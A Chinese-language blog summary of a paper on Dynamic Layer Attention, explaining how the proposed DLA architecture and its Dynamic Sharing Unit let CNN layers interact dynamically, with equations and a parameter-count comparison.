论文深入探讨了层级注意力与一般注意力机制之间的区别,并指出现有的层级注意力方法是在静态特征图上实现层间交互的。这些静态层级注意力方法限制了层间上下文特征提取的能力。为了恢复注意力机制的动态上下文表示能力,提出了一种动态层级注意力(
DLA
)架构。
DLA
包括双路径,其中前向路径利用一种改进的递归神经网络块用于上下文特征提取,称为动态共享单元(
DSU
),反向路径使用这些共享的上下文表示更新特征。最后,注意力机制应用于这些动态刷新后的层间特征图。实验结果表明,所提议的
DLA
架构在图像识别和目标检测任务中优于其他最先进的方法。

来源:晓飞的算法工程笔记 公众号,转载请注明出处

论文: Strengthening Layer Interaction via Dynamic Layer Attention

Introduction


众多研究强调了增强深度卷积神经网络(
DCNNs
)中层级间交互的重要性,这些网络在各种任务中取得了显著进展。例如,
ResNet
通过在两个连续层之间引入跳跃连接,提供了一种简单而高效的实现方式。
DenseNet
通过回收来自所有前置层的信息,进一步改善了层间交互。与此同时,注意力机制在
DCNNs
中的作用越来越重要。注意力机制在
DCNNs
中的演变经历了多个阶段,包括通道注意力、空间注意力、分支注意力以及时空注意力。

最近,注意力机制已成功应用于另一个方向(例如,
DIANet

RLANet

MRLA
),这表明通过注意力机制增强层间交互是可行的。与
ResNet

DenseNet
中简单的交互方式相比,引入注意力机制使得层间交互变得更加紧密和有效。
DIANet
在网络的深度上采用了一个参数共享的
LSTM
模块,以促进层间交互。
RLANet
提出了一个层聚合结构,用于重用前置层的特征,从而增强层间交互。
MRLA
首次引入了层级注意力的概念,将每个特征视为一个标记,通过注意力机制从其他特征中学习有用的信息。

然而,论文发现现有的层级注意力机制存在一个共同的缺点:它们以静态方式应用,限制了层间信息交互。在通道和空间注意力中,对于输入
\(\boldsymbol{x} \in \mathbb{R}^{C \times H \times W}\)
,标记输入到注意力模块,所有这些标记都是从
\(\boldsymbol{x}\)
同时生成的。然而,在现有的层级注意力中,从不同时间生成的特征被视为标记并传入注意力模块,如图
1(a)
所示。由于早期生成的标记一旦产生就不会改变,因此输入的标记相对静态,这导致当前层与前置层之间的信息交互减少。


2(a)
可视化了在
CIFAR-100
上训练的
ResNet-56
的第
3
阶段的
MRLA
注意力分数。当前
5
层通过静态层级注意力重用来自前置层的信息时,只有一个特定层的关键值被激活,几乎没有其他层被分配注意力。这一观察验证了静态层级注意力削弱了层间信息交互的效率。

为了解决层级注意力的静态问题,论文提出了一种新颖的动态层级注意力(
DLA
)架构,以改善层间的信息流动,其中前置层的信息在特征交互过程中可以动态修改。如图
2(b)
所示,在重用前置层信息的过程中,当前特征的注意力从专注于某一特定层逐渐转变为融合来自不同层的信息。
DLA
促进了信息的更全面利用,提高了层间信息交互的效率。实验结果表明,所提的
DLA
架构在图像识别和目标检测任务中优于其他最先进的方法。

本文的贡献总结如下:

  1. 提出了一种新颖的
    DLA
    架构,该架构包含双路径,其中前向路径使用递归神经网络(
    RNN
    )提取层间的上下文特征,而后向路径则利用这些共享的上下文表示在每一层刷新原始特征。

  2. 提出了一种新颖的
    RNN
    模块,称为动态共享单元(
    DSU
    ),它被设计为
    DLA
    的适用组件。它有效地促进了
    DLA
    内部信息的动态修改,并且在逐层信息集成方面表现出色。

Dynamic Layer Attention


首先重新审视当前的层级注意力架构并阐明其静态特性,随后再介绍动态层级注意力(
DLA
),最后将呈现一个增强型
RNN
插件模块,称为动态共享单元(
DSU
),它集成在
DLA
架构中。

Rethinking Layer Attention

层级注意力由
MRLA
定义,并如图
1(a)
所示,其中注意力机制增强了层级间的交互。
MRLA
致力于降低层级注意力的计算成本,提出了递归层级注意力(
RLA
)架构。在
RLA
中,来自不同层的特征被视为标记并进行计算,最终产生注意力输出。

设第
\(l\)
层的特征输出为
\(\boldsymbol{x}^l \in \mathbb{R}^{C \times W \times H}\)
。向量
\(\boldsymbol{Q}^l\)

\(\boldsymbol{K}^l\)

\(\boldsymbol{V}^l\)
可以按如下方式计算:

\[\begin{equation}
\left\{
\begin{aligned}
\boldsymbol{Q}^l &= f^l_q(\boldsymbol{x}^l)\\
\boldsymbol{K}^l &= \text{Concat}\left[f^1_k(\boldsymbol{x}^1), \ldots, f^l_k(\boldsymbol{x}^l)\right] \\
\boldsymbol{V}^l &= \text{Concat}\left[f^1_v(\boldsymbol{x}^1), \ldots, f^l_v(\boldsymbol{x}^l)\right],
\end{aligned}
\right.
\end{equation}
\]

其中
\(f_q\)
是一个映射函数,用于从第
\(l\)
层提取信息,而
\(f_k\)

\(f_v\)
是相应的映射函数,分别用于从第
\(1\)
层到第
\(l\)
层提取信息。注意力输出
\(\boldsymbol{o}^l\)
的计算公式如下:

\[\begin{equation}
\begin{aligned}
\boldsymbol{o}^l &= \text{Softmax}\left(\frac{\boldsymbol{Q}^l (\boldsymbol{K}^l)^\text{T}}{\sqrt{D_k}}\right) \boldsymbol{V}^l \\
&=\sum^l_{i=1} \text{Softmax}\left(\frac{\boldsymbol{Q}^l \left[f_k^i(\boldsymbol{x}^i)\right]^\text{T}}{\sqrt{D_k}}\right) f_v^i(\boldsymbol{x}^i),
\end{aligned}
\end{equation}
\]

其中
\(D_k\)
作为缩放因子。

为了降低计算成本,轻量级版本的
RLA
通过递归方式更新注意力输出
\(\boldsymbol{o}^l\)
,具体方法如下:

\[\begin{equation}
\boldsymbol{o}^l = \boldsymbol{\lambda}_o^l \odot \boldsymbol{o}^{l-1} + \text{Softmax}\left(\frac{\boldsymbol{Q}^l \left[f_k^l(\boldsymbol{x}^l)\right]^\text{T}}{\sqrt{D_k}}\right) f_v^l(\boldsymbol{x}^l),
\end{equation}
\]

其中
\(\boldsymbol{\lambda}^{l}_o\)
是一个可学习的向量,
\(\odot\)
表示逐元素相乘。通过多头结构设计,引入了多头递归层级注意力(
MRLA
)。

Motivation

MRLA
成功地将注意力机制整合进层间交互中,有效地解决了计算成本问题。然而,当
MRLA
应用于第
\(l\)
层时,前面
\(m\)
层 ( $ m<l $ ) 已经生成了特征输出
\(\boldsymbol{x}^m\)
,且没有后续变化。因此,
MRLA
处理的信息包括来自前几层的固定特征。相比之下,广泛使用的基于注意力的模型,如通道注意力、空间注意力和
Transformers
,都会将生成的标记同时传递到注意力模块中。将注意力模块应用于新生成的标记之间,可以确保每个标记始终学习到最新的特征。因此,论文将
MRLA
归类为静态层注意力机制,限制了当前层与较浅层之间的交互。

在一般的自注意力机制中,特征
\(\boldsymbol{x}^m\)
有两个作用:传递基本信息和表示上下文。当前层提取的基本信息使其与其他层区分开来。同时,上下文表示捕捉特征沿时间轴的变化和演变,这是决定特征新鲜度的关键方面。在一般的注意力机制中,每一层都会生成基本信息,而上下文表示会转移到下一层以计算注意力输出。相比之下,在层注意力中,一旦生成标记,就会用固定的上下文表示计算注意力,这降低了注意力机制的效率。因此,本文旨在建立一种新方法来恢复上下文表示,确保输入层注意力的信息始终保持动态。

Dynamic Layer Attention Architecture

为了解决
MRLA
的静态问题,论文提出使用动态更新规则来提取上下文表示,并及时更新前面层的特征,从而形成了动态层注意力(
DLA
)架构。如图
1
(b) 所示,
DLA
包括两个路径:前向路径和后向路径。在前向路径中,采用递归神经网络(
RNN
)进行上下文特征提取。定义
RNN
块表示为
Dyn
,初始上下文表示为
\(\boldsymbol{c}^0\)
,其中
\(\boldsymbol{c}^0\)
被随机初始化。给定输入
\(\boldsymbol{x}^m \in \mathbb{R}^{ C\times W\times H}\)
,其中
\(m < l\)
,对
\(m\)
层应用全局平均池化(
GAP
)以提取全局特征,如下所示:

\[\begin{equation}
\boldsymbol{y}^m = \text{GAP}(\boldsymbol{x}^m),\ \boldsymbol{y}^m \in \mathbb{R}^{C}.
\end{equation}
\]

上下文表示的提取方式如下:

\[\begin{equation}
\boldsymbol{c}^m = \text{Dyn}(\boldsymbol{y}^m, \boldsymbol{c}^{m-1}; \theta^l).
\end{equation}
\]

其中,
\(\theta^l\)
表示
Dyn
的共享可训练参数。一旦计算出上下文
\(\boldsymbol{c}^l\)
,每一层的特征将在后向路径中同时更新,如下所示:

\[\begin{equation}
\left\{
\begin{aligned}
\boldsymbol{d}^m &= \text{Dyn}(\boldsymbol{y}^m, \boldsymbol{c}^l; \theta^l)\\
\boldsymbol{x}^m &\leftarrow \boldsymbol{x}^m \odot \boldsymbol{d}^m
\end{aligned}\right.
\end{equation}
\]

参考公式
5
,前向上下文特征提取是一个逐步过程,其计算复杂度为
\(\mathcal{O}(n)\)
。与此同时,公式
6
中的特征更新可以并行进行,计算复杂度为
\(\mathcal{O}(1)\)
。在更新
\(\boldsymbol{x}^m\)
后,
DLA
的基础版本使用公式
2
来计算层注意力,简称
DLA-B
。对于
DLA
的轻量级版本,简单地更新
\(\boldsymbol{o}^{l-1}\)
,然后使用公式
3
来获得
DLA-L

  • Computation Efficiency

DLA
在结构设计上具有几个优点:

  1. 全局信息被压缩以计算上下文信息,这一功能已经在
    Dianet
    中得到验证。
  2. DLA

    RNN
    模块内使用了共享参数。
  3. 上下文
    \(\boldsymbol{c}^l\)
    在每一层中以并行的方式单独输入到特征图中,前向和后向路径在整个网络中共享相同的参数并引入了一个高效的
    RNN
    模块用于计算上下文表示。

通过这些高效设计的结构规则,计算成本和网络容量得到了保障。

Dynamic Sharing Unit

LSTM
,如图
3(a)
所示,设计用于处理序列数据和学习时间特征,使其能够捕捉和存储长序列中的信息。然而,在将
LSTM
嵌入
DLA
作为递归块时,
LSTM
中的全连接线性变换显著增加了网络容量。为了缓解这种容量增加,
Dianet
提出了一种变体
LSTM
块,称为
DIA
单元,如图
3(b)
所示。在将数据输入网络之前,
DIA
首先利用线性变换和
ReLU
激活函数来降低输入维度。此外,
DIA
在输出层将
Tanh
函数替换为
Sigmoid
函数。

LSTM

DIA
生成两个输出,包括一个隐藏向量
\(\boldsymbol{h}^m\)
和一个
cell
状态向量
\(\boldsymbol{c}^m\)
。通常,
\(\boldsymbol{h}^m\)
用作输出向量,而
\(\boldsymbol{c}^m\)
作为记忆向量。
DLA
专注于从不同层中提取上下文特征,其中
RNN
模块不需要将其内部状态特征传递到外部。因此,论文舍弃了输出门,并通过省略
\(\boldsymbol{h}^m\)
来合并记忆向量和隐藏向量。

论文提出的简化
RNN
模块被称为动态共享单元(
Dynamic Sharing Unit

DSU
),工作流程如图
3(c)
所示。具体而言,在添加
\(\boldsymbol{c}^{m-1}\)

\(\boldsymbol{y}^m\)
之前,首先使用激活函数
\(\sigma(\cdot)\)

\(\boldsymbol{c}^{m-1}\)
进行归一化。在这里,选择
Sigmoid
函数 (
\(\sigma(z) = 1 /(1 + e^{-z})\)
)。因此,
DSU
的输入被压缩如下:

\[\begin{equation}
\boldsymbol{s}^m = \text{ReLU}\left(\boldsymbol{W}_1\left[ \sigma(\boldsymbol{c}^{m-1}), \boldsymbol{y}^m \right] \right).
\end{equation}
\]

隐藏变换、输入门和遗忘门可以通过以下公式表示:

\[\begin{equation}
\left\{
\begin{aligned}
\boldsymbol{\tilde{c}}^m &= \text{Tanh}(\boldsymbol{W}_2^c \cdot \boldsymbol{s}^m + b^c) \\
\boldsymbol{i}^m &= \sigma(\boldsymbol{W}_2^i \cdot \boldsymbol{s}^m + b^i ) \\
\boldsymbol{f}^m &= \sigma(\boldsymbol{W}_2^f \cdot \boldsymbol{s}^m + b^f )
\end{aligned}
\right.
\end{equation}
\]

随后,得到

\[\begin{equation}
\boldsymbol{c}^m = \boldsymbol{f}^m \odot \boldsymbol{c}^{m-1} + \boldsymbol{i}^m \odot \boldsymbol{\tilde{c}}^m
\end{equation}
\]

为了减少网络参数,令
\(\boldsymbol{W}_1\in \mathbb{R}^{\frac{C}{r}\times 2C}\)

\(\boldsymbol{W}_2\in \mathbb{R}^{C\times \frac{C}{r}}\)
,其中
\(r\)
是缩减比率。
DSU
将参数减少到
\(5C^2/r\)
,比
LSTM

\(8C^2\)

DIA

\(10C^2/r\)
更少。

Experiments




如果本文对你有帮助,麻烦点个赞或在看呗~
更多内容请关注 微信公众号【晓飞的算法工程笔记】

work-life balance.